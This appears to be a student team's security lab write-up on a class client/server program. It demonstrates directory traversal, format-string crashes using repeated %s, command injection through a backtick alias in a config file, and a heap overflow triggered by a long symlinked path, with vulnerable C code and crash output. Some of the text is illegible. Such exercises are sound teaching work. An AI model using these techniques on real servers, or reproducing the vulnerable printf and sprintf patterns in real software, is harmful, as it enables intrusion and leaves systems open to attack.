

## Team 2

### Directory Traversal

- We can directly cd into root directory.

```
cd $/  
Message: Working directory changed!  
  
ls  
total 96  
drwxr-xr-x  2 root root 12288 Mar 13 05:08 bin  
drwxr-xr-x  4 root root  4096 Mar  6 05:10 boot  
drwxr-xr-x 21 root root  4500 Mar 15 08:50 dev  
drwxr-xr-x 136 root root 12288 Mar 20 05:10 etc  
drwxr-xr-x  2 root root  4096 Apr 12 2016 home  
drwxr-xr-x  2 root root    0 Mar 26 18:14 homes  
lrwxrwxrwx  1 root root   32 Aug 31 2017 initrd.img -> boot/initrd.img-  
4.4.0-62-generic  
drwxr-xr-x 18 root root  4096 Feb 22 10:53 lib  
drwxr-xr-x  2 root root  4096 Jan 23 05:09 lib64  
drwx----- 2 root root 16384 Aug 31 2017 lost+found  
drwxr-xr-x  3 root root  4096 Aug 31 2017 media  
...
```

- This can be used to overwrite the configuration file and thus allows for command injection when the server restarts.

### Format string

- All commands sent by the user are printed first. So we can crash the server by sending a bunch of %s.

```
n = read(sock_id_new,internal,sizeof(internal));  
printf(internal);
```

Client:

```
%s%s%s%s%s%s%s  
Error: read failed!  
mc02 63 $
```

Server:

```
mc02 73 $ ./server  
Segmentation fault (core dumped)  
mc02 74 $
```

- The server when starting up, takes a few arguments which are not used. But these arguments are copied using an sprintf command.

```
char givenArgs[10];
for(int i=1; i<argc; i++)
{
    if(strlen(argv[i]) < 10)
    {
        sprintf(givenArgs,argv[i]);
    }
}

mc02 75 $ ./server %s%s%s%s
Segmentation fault (core dumped)
mc02 76 $
```

```
mc02 75 $ ./server %S%S%S%S
Segmentation fault (core dumped)
mc02 76 $
```

## Command injection

- The alias commands do not take user parameters, so we need to modify the config file directly for this

```
Sploit.conf:
```

```
alias echo echo hi`date`
```

Client:

```
mc02 108 $ ./client 127.0.0.1 12345
echo
hiMon Mar 26 19:55:02 EDT 2018
```

## Buffer overflow

- The `cd` command uses the `realpath` function which expands symbolic links. The program allocates a malloc chunk of 1000 bytes to store the path, but filters out path lengths greater than 1000. So we use the symbolic link we create and try `cd` into that.

Symbolic link:

 $\ln -s$ [illegible]

Client:

```
mc02 159 $ ../client 127.0.0.1 3490
login $n
Message: Please enter the password command

pass $1
Login Succesful!

cd $mydir
Message: Working directory changed!
```

Server:

```
mc02 142 $ ./server
*** Error in `./server': malloc(): memory corruption: 0x0000000001b5d680 ***
===== Backtrace: =====
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fe230e157e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fe230e2013e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fe230e22184]
/usr/lib/x86_64-linux-gnu/libstdc++.so.6(_Znwm+0x18)[0x7fe23140be78]
/usr/lib/x86_64-linux-
gnu/libstdc++.so.6(_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_co
nstructIPKcEEvT_S8_St20forward_iterator_tag+0x8d)[0x7fe23149faed]
/usr/lib/x86_64-linux-
gnu/libstdc++.so.6(_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcR
KS3_+0x3c)[0x7fe23149fc4c]
./server[0x40613b]
...
```